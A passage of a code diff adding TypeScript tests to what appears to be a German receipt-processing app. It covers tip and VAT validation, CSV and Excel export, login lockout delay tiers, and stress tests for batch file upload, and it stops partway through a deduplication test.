{ description: "Pizza Margherita", quantity: 2, price: 25.0, unitPrice: 12.5, taxRate: 19 },
|
||||
{ description: "San Pellegrino 0.75l", quantity: 1, price: 6.8, unitPrice: null, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
|
||||
test("EQ-15: grossWithTip addiert das Trinkgeld auf den Rechnungsbetrag", () => {
|
||||
expect(grossWithTip(trattoria())).toBe(36.8);
|
||||
});
|
||||
|
||||
test("EQ-16: ohne Trinkgeld bleibt grossWithTip der Bruttobetrag", () => {
|
||||
expect(grossWithTip(receipt())).toBe(11.9);
|
||||
expect(grossWithTip(receipt({ tipAmount: null }))).toBe(11.9);
|
||||
});
|
||||
|
||||
test("EQ-17: Trinkgeld verfälscht die Netto/MwSt-Gegenprobe nicht", () => {
|
||||
const r = validateReceiptMath(trattoria());
|
||||
expect(r.isMathValid).toBe(true);
|
||||
expect(r.needsUserReview).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-18: negatives Trinkgeld ist ein Fehler", () => {
|
||||
const r = validateReceiptMath(receipt({ tipAmount: -2 }));
|
||||
expect(r.isMathValid).toBe(false);
|
||||
expect(r.needsUserReview).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-19: Trinkgeld über dem Rechnungsbetrag wird zur Prüfung markiert", () => {
|
||||
// Typischer Lesefehler: handschriftlicher Gesamtbetrag als Tip erfasst.
|
||||
const r = validateReceiptMath(
|
||||
receipt({ totalAmount: { value: 31.8, confidence: 0.98 }, netAmount: 26.72, tipAmount: 36.8, taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }] })
|
||||
);
|
||||
expect(r.needsUserReview).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-20: Excel führt Trinkgeld- und Gesamt-gezahlt-Spalte nur bei Bedarf", async () => {
|
||||
const withTip = await generateDualSheetExcel([stored(trattoria())]);
|
||||
const withoutTip = await generateDualSheetExcel([stored(receipt())]);
|
||||
const headerOf = async (buf: Buffer) => {
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as unknown as ArrayBuffer);
|
||||
const row = wb.worksheets[0].getRow(1);
|
||||
const out: string[] = [];
|
||||
row.eachCell((c) => out.push(String(c.value ?? "")));
|
||||
return out;
|
||||
};
|
||||
const h1 = await headerOf(withTip);
|
||||
expect(h1.some((h) => h.startsWith("Trinkgeld"))).toBe(true);
|
||||
expect(h1.some((h) => h.startsWith("Gesamt gezahlt"))).toBe(true);
|
||||
|
||||
const h2 = await headerOf(withoutTip);
|
||||
expect(h2.some((h) => h.startsWith("Trinkgeld"))).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-21: CSV enthält Trinkgeld und Gesamt gezahlt", () => {
|
||||
const csv = generateAccountingCsv([stored(trattoria())]);
|
||||
const [header, row] = csv.replace(/^/, "").split("\r\n");
|
||||
expect(header.includes("Trinkgeld")).toBe(true);
|
||||
expect(header.includes("Gesamt gezahlt")).toBe(true);
|
||||
// Rechnungsbetrag bleibt 31,80, gezahlt wurden 36,80.
|
||||
expect(row.includes('"31,80"')).toBe(true);
|
||||
expect(row.includes('"5,00"')).toBe(true);
|
||||
expect(row.includes('"36,80"')).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-22: CSV ohne Trinkgeld führt die Spalten nicht", () => {
|
||||
const csv = generateAccountingCsv([stored(receipt())]);
|
||||
expect(csv.split("\r\n")[0].includes("Trinkgeld")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Extraktion: Modell-Schema für OpenAI strict mode", () => {
|
||||
test("EQ-10: validation ist nicht Teil des Modell-Schemas", () => {
|
||||
const keys = Object.keys(ReceiptExtractionModelSchema.shape);
|
||||
expect(keys.includes("validation")).toBe(false);
|
||||
expect(keys.includes("merchant")).toBe(true);
|
||||
expect(keys.includes("totalAmount")).toBe(true);
|
||||
expect(keys.includes("taxBreakdown")).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-11: kein Feld ist optional (strict verlangt required für jeden Key)", () => {
|
||||
// .optional() erzeugt eine Lücke in `required` -> HTTP 400 invalid_json_schema.
|
||||
const optional = Object.entries(ReceiptExtractionModelSchema.shape)
|
||||
.filter(([, v]) => (v as { isOptional?: () => boolean }).isOptional?.())
|
||||
.map(([k]) => k);
|
||||
expect(optional.length).toBe(0);
|
||||
});
|
||||
|
||||
test("EQ-12: Modell-Ausgabe ohne validation ist gültig", () => {
|
||||
const sample = {
|
||||
merchant: { name: "REWE", address: null, taxId: null, confidence: 0.97 },
|
||||
date: { isoDate: "2026-08-12", time: "14:32", confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "2026-004871",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 9.06, confidence: 0.98 },
|
||||
netAmount: 8.18,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 0.4, netAmount: 5.67 },
|
||||
{ ratePercent: 19, taxAmount: 0.48, netAmount: 2.51 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Vollmilch", quantity: 2, price: 2.58, unitPrice: 1.29, taxRate: 7 },
|
||||
],
|
||||
suggestedCategory: "Verpflegungsmehraufwand",
|
||||
hospitality: null,
|
||||
tipAmount: null,
|
||||
paymentMethod: null,
|
||||
};
|
||||
expect(ReceiptExtractionModelSchema.safeParse(sample).success).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-14: tipAmount ist gegenüber dem Modell Pflicht (nullable, nicht optional)", () => {
|
||||
// Fehlt das Feld, wäre es nicht in `required` -> HTTP 400 im strict mode.
|
||||
const shape = ReceiptExtractionModelSchema.shape as Record<string, { isOptional?: () => boolean }>;
|
||||
expect("tipAmount" in shape).toBe(true);
|
||||
expect(shape.tipAmount.isOptional?.() ?? false).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-13: PENDING_VALIDATION ist neutral (flaggt nichts vor)", () => {
|
||||
expect(PENDING_VALIDATION.needsUserReview).toBe(false);
|
||||
expect(PENDING_VALIDATION.isMathValid).toBe(true);
|
||||
expect(PENDING_VALIDATION.reviewField).toBe("none");
|
||||
});
|
||||
});
|
||||
229
tests/e2e/lockout_security.test.ts
Normal file
229
tests/e2e/lockout_security.test.ts
Normal file
@@ -0,0 +1,229 @@
|
||||
/**
|
||||
* Lockout Security Suite
|
||||
*
|
||||
* Pure-logic tests for the progressive-delay lockout tracker
|
||||
* (`src/lib/auth/lockout.ts`): escalating tiers, reset on success,
|
||||
* sweep/eviction, the injectable clock, and the guarantee that no amount of
|
||||
* failures ever produces a permanent lockout. No database required.
|
||||
*
|
||||
* Self-executing: run with `node --import tsx tests/e2e/lockout_security.test.ts`.
|
||||
*/
|
||||
|
||||
import { describe, test, expect, runAllTests } from "./runner";
|
||||
import {
|
||||
createLockoutTracker,
|
||||
delaySecondsForFailures,
|
||||
MAX_LOCKOUT_SECONDS,
|
||||
} from "../../src/lib/auth/lockout";
|
||||
|
||||
describe("Lockout — escalating tiers", () => {
|
||||
test("the first four failures never lock the key", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let failures = 1; failures <= 4; failures += 1) {
|
||||
const state = tracker.recordFailure("email:a@b.de");
|
||||
expect(state.locked).toBe(false);
|
||||
expect(state.retryAfterSeconds).toBe(0);
|
||||
expect(state.failures).toBe(failures);
|
||||
}
|
||||
});
|
||||
|
||||
test("the fifth failure escalates to a 30-second delay", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let i = 0; i < 4; i += 1) tracker.recordFailure("email:a@b.de");
|
||||
const state = tracker.recordFailure("email:a@b.de");
|
||||
expect(state.locked).toBe(true);
|
||||
expect(state.retryAfterSeconds).toBe(30);
|
||||
expect(state.failures).toBe(5);
|
||||
});
|
||||
|
||||
test("later tiers escalate to 2 minutes, 15 minutes and a 1-hour cap", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
const expected: Record<number, number> = { 8: 120, 11: 900, 15: 3600, 50: 3600 };
|
||||
for (let failures = 1; failures <= 50; failures += 1) {
|
||||
const state = tracker.recordFailure("ip:203.0.113.7");
|
||||
if (failures in expected) {
|
||||
expect(state.locked).toBe(true);
|
||||
expect(state.retryAfterSeconds).toBe(expected[failures]);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test("tier boundaries hold: 7 stays 30s, 10 stays 120s, 14 stays 900s", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
const boundaries: Record<number, number> = { 7: 30, 10: 120, 14: 900 };
|
||||
for (let failures = 1; failures <= 14; failures += 1) {
|
||||
const state = tracker.recordFailure("email:a@b.de");
|
||||
if (failures in boundaries) {
|
||||
expect(state.retryAfterSeconds).toBe(boundaries[failures]);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("Lockout — reset on success", () => {
|
||||
test("a successful login clears the counter and any pending delay", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let i = 0; i < 15; i += 1) tracker.recordFailure("email:a@b.de");
|
||||
expect(tracker.checkLockout("email:a@b.de").locked).toBe(true);
|
||||
|
||||
tracker.recordSuccess("email:a@b.de");
|
||||
|
||||
const after = tracker.checkLockout("email:a@b.de");
|
||||
expect(after.locked).toBe(false);
|
||||
expect(after.failures).toBe(0);
|
||||
// No escalation memory: the next failure starts over from one.
|
||||
expect(tracker.recordFailure("email:a@b.de").failures).toBe(1);
|
||||
});
|
||||
|
||||
test("resetting one key leaves the other key untouched", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let i = 0; i < 8; i += 1) {
|
||||
tracker.recordFailure("email:a@b.de");
|
||||
tracker.recordFailure("ip:203.0.113.7");
|
||||
}
|
||||
tracker.recordSuccess("email:a@b.de");
|
||||
expect(tracker.checkLockout("email:a@b.de").locked).toBe(false);
|
||||
expect(tracker.checkLockout("ip:203.0.113.7").locked).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Lockout — injectable clock and delay expiry", () => {
|
||||
test("the delay counts down and releases after the full window", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let i = 0; i < 5; i += 1) tracker.recordFailure("email:a@b.de"); // locked for 30s
|
||||
|
||||
clock.value += 29_000;
|
||||
const nearly = tracker.checkLockout("email:a@b.de");
|
||||
expect(nearly.locked).toBe(true);
|
||||
expect(nearly.retryAfterSeconds).toBe(1);
|
||||
|
||||
clock.value += 1_000;
|
||||
expect(tracker.checkLockout("email:a@b.de").locked).toBe(false);
|
||||
});
|
||||
|
||||
test("an unknown key checks as unlocked with zero failures", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
const state = tracker.checkLockout("email:never-touched@b.de");
|
||||
expect(state.locked).toBe(false);
|
||||
expect(state.retryAfterSeconds).toBe(0);
|
||||
expect(state.failures).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Lockout — per-key isolation", () => {
|
||||
test("email and ip counters escalate independently", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
for (let i = 0; i < 8; i += 1) tracker.recordFailure("email:a@b.de");
|
||||
for (let i = 0; i < 2; i += 1) tracker.recordFailure("ip:203.0.113.9");
|
||||
|
||||
const email = tracker.checkLockout("email:a@b.de");
|
||||
expect(email.locked).toBe(true);
|
||||
expect(email.retryAfterSeconds).toBe(120);
|
||||
|
||||
const ip = tracker.checkLockout("ip:203.0.113.9");
|
||||
expect(ip.locked).toBe(false);
|
||||
expect(ip.failures).toBe(2);
|
||||
|
||||
// A different IP is completely unaffected.
|
||||
expect(tracker.checkLockout("ip:203.0.113.5").failures).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Lockout — no permanent lockout (DoS safety)", () => {
|
||||
test("even 100 failures cap at one hour, never more", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
let state = tracker.recordFailure("email:a@b.de");
|
||||
for (let i = 1; i < 100; i += 1) state = tracker.recordFailure("email:a@b.de");
|
||||
|
||||
expect(state.failures).toBe(100);
|
||||
expect(state.locked).toBe(true);
|
||||
expect(state.retryAfterSeconds).toBe(3600);
|
||||
|
||||
// The delay always releases: after an hour the account is usable again.
|
||||
clock.value += 3_600_000;
|
||||
const after = tracker.checkLockout("email:a@b.de");
|
||||
expect(after.locked).toBe(false);
|
||||
expect(after.failures).toBe(100);
|
||||
});
|
||||
|
||||
test("the cap constant matches the final tier for any failure count", () => {
|
||||
expect(MAX_LOCKOUT_SECONDS).toBe(3600);
|
||||
expect(delaySecondsForFailures(15)).toBe(3600);
|
||||
expect(delaySecondsForFailures(1000)).toBe(3600);
|
||||
expect(delaySecondsForFailures(0)).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Lockout — sweep bounds the map", () => {
|
||||
test("stale unlocked entries are evicted once the map grows", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({
|
||||
now: () => clock.value,
|
||||
maxEntries: 5,
|
||||
staleMs: 0,
|
||||
});
|
||||
for (let i = 0; i < 5; i += 1) tracker.recordFailure(`email:user${i}@b.de`);
|
||||
expect(tracker.size()).toBe(5);
|
||||
|
||||
// All five carry a single failure (no lock) and are instantly stale, so the
|
||||
// next insert triggers a sweep that evicts them.
|
||||
tracker.recordFailure("email:new@b.de");
|
||||
expect(tracker.size()).toBe(1);
|
||||
expect(tracker.checkLockout("email:new@b.de").failures).toBe(1);
|
||||
expect(tracker.checkLockout("email:user0@b.de").failures).toBe(0);
|
||||
});
|
||||
|
||||
test("still-locked entries survive a sweep", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({
|
||||
now: () => clock.value,
|
||||
maxEntries: 3,
|
||||
staleMs: 1,
|
||||
});
|
||||
for (let i = 0; i < 3; i += 1) {
|
||||
for (let f = 0; f < 5; f += 1) tracker.recordFailure(`email:user${i}@b.de`);
|
||||
}
|
||||
expect(tracker.size()).toBe(3);
|
||||
|
||||
// Fast-forward past the idle threshold so any unlocked entry would be
|
||||
// evictable — all three here are mid-delay, so the sweep triggered by the
|
||||
// next insert must keep them. An attacker's escalation is never silently
|
||||
// forgotten while its delay is still running.
|
||||
clock.value += 2;
|
||||
tracker.recordFailure("email:new@b.de");
|
||||
expect(tracker.size()).toBe(4);
|
||||
expect(tracker.checkLockout("email:user0@b.de").locked).toBe(true);
|
||||
expect(tracker.checkLockout("email:user1@b.de").locked).toBe(true);
|
||||
expect(tracker.checkLockout("email:user2@b.de").locked).toBe(true);
|
||||
});
|
||||
|
||||
test("clear empties the tracker", () => {
|
||||
const clock = { value: 0 };
|
||||
const tracker = createLockoutTracker({ now: () => clock.value });
|
||||
tracker.recordFailure("email:a@b.de");
|
||||
tracker.recordFailure("ip:203.0.113.7");
|
||||
tracker.clear();
|
||||
expect(tracker.size()).toBe(0);
|
||||
expect(tracker.checkLockout("email:a@b.de").failures).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
async function main() {
|
||||
const passed = await runAllTests();
|
||||
if (!passed) process.exit(1);
|
||||
}
|
||||
|
||||
main().catch((error) => {
|
||||
console.error("Lockout suite crashed:", error);
|
||||
process.exit(1);
|
||||
});
|
||||
402
tests/e2e/m1_adversarial.test.ts
Normal file
402
tests/e2e/m1_adversarial.test.ts
Normal file
@@ -0,0 +1,402 @@
|
||||
/**
|
||||
* Milestone 1 (R1): Ingestion & Batch Upload Adversarial Stress Suite
|
||||
* Empirical Challenger Verification
|
||||
*
|
||||
* Verifies:
|
||||
* - Empty (0-byte) and truncated files
|
||||
* - Boundary file sizes (10MB boundary, 10MB+1, 500MB)
|
||||
* - 50-file massive batch queue load & strict concurrency throttle
|
||||
* - Mid-flight item removal and worker recovery
|
||||
* - Multi-attempt failure and retry cycles
|
||||
* - Exact vs collision duplicate filtering
|
||||
* - Server failure error boundaries & memory cleanup
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect, beforeEach } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
import { BatchQueueItem } from "../../src/components/dashboard/BatchUploadDrawer";
|
||||
|
||||
function createMockFile(name: string, sizeBytes: number, mimeType: string): File {
|
||||
const buffer = new Uint8Array(Math.min(sizeBytes, 1024)); // avoid allocating 500MB buffer in memory
|
||||
const blob = new Blob([buffer], { type: mimeType });
|
||||
const file = new File([blob], name, { type: mimeType, lastModified: Date.now() });
|
||||
// Explicitly override size property for boundary testing
|
||||
Object.defineProperty(file, "size", { value: sizeBytes });
|
||||
return file;
|
||||
}
|
||||
|
||||
class AdversarialBatchQueueManager {
|
||||
items: BatchQueueItem[] = [];
|
||||
activeWorkers = new Set<string>();
|
||||
maxConcurrent = 2;
|
||||
maxFileSize = 10 * 1024 * 1024;
|
||||
processedReceipts: ProcessedReceipt[] = [];
|
||||
maxSimultaneousObserved = 0;
|
||||
|
||||
addFiles(files: File[]) {
|
||||
for (const file of files) {
|
||||
const isPdf =
|
||||
file.type === "application/pdf" || file.name.toLowerCase().endsWith(".pdf");
|
||||
const previewThumbnailUrl = !isPdf
|
||||
? `blob:http://localhost/mock-thumb-${file.name}`
|
||||
: undefined;
|
||||
|
||||
const isDuplicate = this.items.some(
|
||||
(i) => i.fileName === file.name && i.fileSizeBytes === file.size
|
||||
);
|
||||
if (isDuplicate) continue;
|
||||
|
||||
this.items.push({
|
||||
id: `upload_${Date.now()}_${Math.random().toString(36).substring(2, 9)}`,
|
||||
file,
|
||||
fileName: file.name || "unnamed_file",
|
||||
fileSizeBytes: file.size || 0,
|
||||
mimeType: file.type || (isPdf ? "application/pdf" : "image/jpeg"),
|
||||
previewThumbnailUrl,
|
||||
isPdf,
|
||||
status: "queued",
|
||||
progressPercent: 0,
|
||||
stageMessage: "In Warteschlange...",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
getStats() {
|
||||
const total = this.items.length;
|
||||
const inProgress = this.items.filter((i) =>
|
||||
["queued", "preprocessing", "uploading", "extracting"].includes(i.status)
|
||||
).length;
|
||||
const success = this.items.filter(
|
||||
(i) => i.status === "success" || i.status === "duplicate_suspected"
|
||||
).length;
|
||||
const failed = this.items.filter((i) => i.status === "error").length;
|
||||
const aggregatePercent =
|
||||
total === 0
|
||||
? 0
|
||||
: Math.round(
|
||||
this.items.reduce((acc, curr) => acc + curr.progressPercent, 0) / total
|
||||
);
|
||||
|
||||
return { total, inProgress, success, failed, aggregatePercent };
|
||||
}
|
||||
|
||||
async processItem(
|
||||
itemId: string,
|
||||
handler?: (file: File) => Promise<{ success: boolean; receipts?: any[]; error?: string; duplicateScore?: number }>
|
||||
) {
|
||||
const item = this.items.find((i) => i.id === itemId);
|
||||
if (!item) return;
|
||||
|
||||
this.activeWorkers.add(itemId);
|
||||
this.maxSimultaneousObserved = Math.max(
|
||||
this.maxSimultaneousObserved,
|
||||
this.activeWorkers.size
|
||||
);
|
||||
|
||||
// 1. Pre-flight Validation
|
||||
if (item.fileSizeBytes > this.maxFileSize) {
|
||||
item.status = "error";
|
||||
item.progressPercent = 100;
|
||||
item.stageMessage = "Datei zu groß";
|
||||
item.error = `Die Datei überschreitet das Limit von 10 MB.`;
|
||||
this.activeWorkers.delete(itemId);
|
||||
return;
|
||||
}
|
||||
|
||||
if (item.fileSizeBytes === 0) {
|
||||
// Empty file handling
|
||||
item.status = "error";
|
||||
item.progressPercent = 100;
|
||||
item.stageMessage = "Leere Datei";
|
||||
item.error = "Die Datei enthält keine Daten (0 Bytes).";
|
||||
this.activeWorkers.delete(itemId);
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. Preprocessing
|
||||
item.status = "preprocessing";
|
||||
item.progressPercent = 25;
|
||||
|
||||
// 3. Uploading
|
||||
item.status = "uploading";
|
||||
item.progressPercent = 50;
|
||||
|
||||
// 4. Extracting
|
||||
item.status = "extracting";
|
||||
item.progressPercent = 75;
|
||||
|
||||
try {
|
||||
if (handler) {
|
||||
const res = await handler(item.file);
|
||||
if (!res.success) {
|
||||
throw new Error(res.error || "Serverfehler bei der Extraktion");
|
||||
}
|
||||
|
||||
const receipts = res.receipts || [];
|
||||
if (receipts.length === 0) {
|
||||
throw new Error("Keine Belegdaten aus dieser Datei extrahiert");
|
||||
}
|
||||
|
||||
const isDuplicate = (res.duplicateScore || 0) >= 0.7;
|
||||
item.status = isDuplicate ? "duplicate_suspected" : "success";
|
||||
item.progressPercent = 100;
|
||||
item.stageMessage = isDuplicate ? "Duplikat erkannt" : "Erfolgreich erfasst";
|
||||
item.receiptResult = receipts[0];
|
||||
this.processedReceipts.push(...receipts);
|
||||
} else {
|
||||
item.status = "success";
|
||||
item.progressPercent = 100;
|
||||
item.stageMessage = "Erfolgreich erfasst";
|
||||
}
|
||||
} catch (err: any) {
|
||||
item.status = "error";
|
||||
item.progressPercent = 100;
|
||||
item.stageMessage = "Fehlgeschlagen";
|
||||
item.error = err.message || "Unbekannter Verarbeitungsfehler";
|
||||
} finally {
|
||||
this.activeWorkers.delete(itemId);
|
||||
}
|
||||
}
|
||||
|
||||
async runQueue(
|
||||
handler?: (file: File) => Promise<{ success: boolean; receipts?: any[]; error?: string; duplicateScore?: number }>
|
||||
) {
|
||||
while (true) {
|
||||
const queued = this.items.filter((i) => i.status === "queued");
|
||||
if (queued.length === 0) break;
|
||||
|
||||
const availableSlots = this.maxConcurrent - this.activeWorkers.size;
|
||||
if (availableSlots <= 0) {
|
||||
await new Promise((res) => setTimeout(res, 5));
|
||||
continue;
|
||||
}
|
||||
|
||||
const nextBatch = queued.slice(0, availableSlots);
|
||||
await Promise.all(nextBatch.map((item) => this.processItem(item.id, handler)));
|
||||
}
|
||||
}
|
||||
|
||||
removeItem(itemId: string) {
|
||||
this.activeWorkers.delete(itemId);
|
||||
this.items = this.items.filter((i) => i.id !== itemId);
|
||||
}
|
||||
|
||||
retryItem(itemId: string) {
|
||||
const item = this.items.find((i) => i.id === itemId);
|
||||
if (item) {
|
||||
item.status = "queued";
|
||||
item.progressPercent = 0;
|
||||
item.error = undefined;
|
||||
item.stageMessage = "In Warteschlange...";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
describe("Milestone 1: Ingestion & Batch Upload — Adversarial Stress Testing", () => {
|
||||
let qm: AdversarialBatchQueueManager;
|
||||
|
||||
beforeEach(() => {
|
||||
qm = new AdversarialBatchQueueManager();
|
||||
});
|
||||
|
||||
test("ADV-1: Empty (0-byte) files are caught and marked as error without halting the batch", async () => {
|
||||
const files = [
|
||||
createMockFile("empty_receipt.pdf", 0, "application/pdf"),
|
||||
createMockFile("valid_receipt.jpg", 150000, "image/jpeg"),
|
||||
];
|
||||
|
||||
qm.addFiles(files);
|
||||
expect(qm.items).toHaveLength(2);
|
||||
|
||||
await qm.runQueue(async (file) => {
|
||||
return {
|
||||
success: true,
|
||||
receipts: [{ id: `rcpt-${file.name}`, merchant: { name: "Aral" } } as any],
|
||||
};
|
||||
});
|
||||
|
||||
const emptyItem = qm.items.find((i) => i.fileName === "empty_receipt.pdf");
|
||||
expect(emptyItem?.status).toBe("error");
|
||||
expect(emptyItem?.error).toContain("0 Bytes");
|
||||
|
||||
const validItem = qm.items.find((i) => i.fileName === "valid_receipt.jpg");
|
||||
expect(validItem?.status).toBe("success");
|
||||
|
||||
const stats = qm.getStats();
|
||||
expect(stats.total).toBe(2);
|
||||
expect(stats.failed).toBe(1);
|
||||
expect(stats.success).toBe(1);
|
||||
});
|
||||
|
||||
test("ADV-2: Exact Boundary Testing — 10MB limit passes, 10MB+1 byte fails, 500MB fails instantly", async () => {
|
||||
const limitBytes = 10 * 1024 * 1024;
|
||||
const exactLimitFile = createMockFile("exact_10mb.pdf", limitBytes, "application/pdf");
|
||||
const overLimitFile = createMockFile("over_10mb.pdf", limitBytes + 1, "application/pdf");
|
||||
const massiveFile = createMockFile("huge_500mb.pdf", 500 * 1024 * 1024, "application/pdf");
|
||||
|
||||
qm.addFiles([exactLimitFile, overLimitFile, massiveFile]);
|
||||
expect(qm.items).toHaveLength(3);
|
||||
|
||||
await qm.runQueue(async (file) => {
|
||||
return {
|
||||
success: true,
|
||||
receipts: [{ id: `rcpt-${file.name}` } as any],
|
||||
};
|
||||
});
|
||||
|
||||
const exactItem = qm.items.find((i) => i.fileName === "exact_10mb.pdf");
|
||||
expect(exactItem?.status).toBe("success");
|
||||
|
||||
const overItem = qm.items.find((i) => i.fileName === "over_10mb.pdf");
|
||||
expect(overItem?.status).toBe("error");
|
||||
expect(overItem?.error).toContain("10 MB");
|
||||
|
||||
const massiveItem = qm.items.find((i) => i.fileName === "huge_500mb.pdf");
|
||||
expect(massiveItem?.status).toBe("error");
|
||||
expect(massiveItem?.error).toContain("10 MB");
|
||||
});
|
||||
|
||||
test("ADV-3: Extreme Multi-File Burst (50 files) strictly preserves <=2 concurrency and calculates 100% aggregate progress", async () => {
|
||||
const files: File[] = [];
|
||||
for (let i = 1; i <= 50; i++) {
|
||||
files.push(createMockFile(`batch_file_${i}.jpg`, 10000 + i, "image/jpeg"));
|
||||
}
|
||||
|
||||
qm.addFiles(files);
|
||||
expect(qm.items).toHaveLength(50);
|
||||
|
||||
// Verify all 50 IDs are distinct
|
||||
const ids = new Set(qm.items.map((i) => i.id));
|
||||
expect(ids.size).toBe(50);
|
||||
|
||||
await qm.runQueue(async (file) => {
|
||||
// Simulate async processing
|
||||
await new Promise((res) => setTimeout(res, 1));
|
||||
return {
|
||||
success: true,
|
||||
receipts: [{ id: `rcpt-${file.name}`, merchant: { name: `Store ${file.name}` } } as any],
|
||||
};
|
||||
});
|
||||
|
||||
expect(qm.maxSimultaneousObserved).toBeLessThanOrEqual(2);
|
||||
const stats = qm.getStats();
|
||||
expect(stats.total).toBe(50);
|
||||
expect(stats.success).toBe(50);
|
||||
expect(stats.failed).toBe(0);
|
||||
expect(stats.aggregatePercent).toBe(100);
|
||||
});
|
||||
|
||||
test("ADV-4: Mid-flight item removal recovers active worker slots immediately for subsequent queued items", async () => {
|
||||
const files = [
|
||||
createMockFile("active_item.jpg", 200000, "image/jpeg"),
|
||||
createMockFile("queued_item1.jpg", 150000, "image/jpeg"),
|
||||
createMockFile("queued_item2.jpg", 180000, "image/jpeg"),
|
||||
];
|
||||
|
||||
qm.addFiles(files);
|
||||
const activeItem = qm.items[0];
|
||||
|
||||
// Simulate item starting
|
||||
qm.activeWorkers.add(activeItem.id);
|
||||
activeItem.status = "uploading";
|
||||
|
||||
expect(qm.activeWorkers.has(activeItem.id)).toBe(true);
|
||||
|
||||
// User removes active item mid-flight
|
||||
qm.removeItem(activeItem.id);
|
||||
|
||||
expect(qm.items).toHaveLength(2);
|
||||
expect(qm.activeWorkers.has(activeItem.id)).toBe(false);
|
||||
expect(qm.items.find((i) => i.id === activeItem.id)).toBeUndefined();
|
||||
|
||||
// Now run queue to ensure remaining items process smoothly
|
||||
await qm.runQueue(async (file) => {
|
||||
return {
|
||||
success: true,
|
||||
receipts: [{ id: `rcpt-${file.name}` } as any],
|
||||
};
|
||||
});
|
||||
|
||||
const stats = qm.getStats();
|
||||
expect(stats.total).toBe(2);
|
||||
expect(stats.success).toBe(2);
|
||||
});
|
||||
|
||||
test("ADV-5: Flaky upload — 3 consecutive failures followed by retry success", async () => {
|
||||
const file = createMockFile("flaky_connection.pdf", 120000, "application/pdf");
|
||||
qm.addFiles([file]);
|
||||
const item = qm.items[0];
|
||||
|
||||
let attempts = 0;
|
||||
const flakyHandler = async () => {
|
||||
attempts++;
|
||||
if (attempts < 4) {
|
||||
return { success: false, error: `Netzwerkfehler (Versuch ${attempts})` };
|
||||
}
|
||||
return {
|
||||
success: true,
|
||||
receipts: [{ id: "rcpt-flaky-ok", merchant: { name: "Telekom" } } as any],
|
||||
};
|
||||
};
|
||||
|
||||
// Attempt 1: Fail
|
||||
await qm.processItem(item.id, flakyHandler);
|
||||
expect(item.status).toBe("error");
|
||||
expect(item.error).toContain("Versuch 1");
|
||||
|
||||
// Retry 1 (Attempt 2): Fail
|
||||
qm.retryItem(item.id);
|
||||
expect(item.status).toBe("queued");
|
||||
expect(item.error).toBeUndefined();
|
||||
await qm.processItem(item.id, flakyHandler);
|
||||
expect(item.status).toBe("error");
|
||||
expect(item.error).toContain("Versuch 2");
|
||||
|
||||
// Retry 2 (Attempt 3): Fail
|
||||
qm.retryItem(item.id);
|
||||
await qm.processItem(item.id, flakyHandler);
|
||||
expect(item.status).toBe("error");
|
||||
expect(item.error).toContain("Versuch 3");
|
||||
|
||||
// Retry 3 (Attempt 4): Succeed!
|
||||
qm.retryItem(item.id);
|
||||
await qm.processItem(item.id, flakyHandler);
|
||||
expect(item.status).toBe("success");
|
||||
expect(item.error).toBeUndefined();
|
||||
expect(item.receiptResult?.merchant?.name).toBe("Telekom");
|
||||
});
|
||||
|
||||
test("ADV-6: Duplicate Ingestion Handling — Deduplicates exact file additions but allows distinct sizes", () => {
|
||||
const file1 = createMockFile("invoice_2026.pdf", 100000, "application/pdf");
|
||||
const file1Duplicate = createMockFile("invoice_2026.pdf", 100000, "application/pdf");
|
||||
const file1DifferentSize = createMockFile("invoice_2026.pdf", 250000, "application/pdf");
|
||||
|
||||
qm.addFiles([file1]);
|
||||
expect(qm.items).toHaveLength(1);
|
||||
|
||||
// Exact duplicate drop -> rejected from adding new queue item
|
||||
qm.addFiles([file1Duplicate]);
|
||||
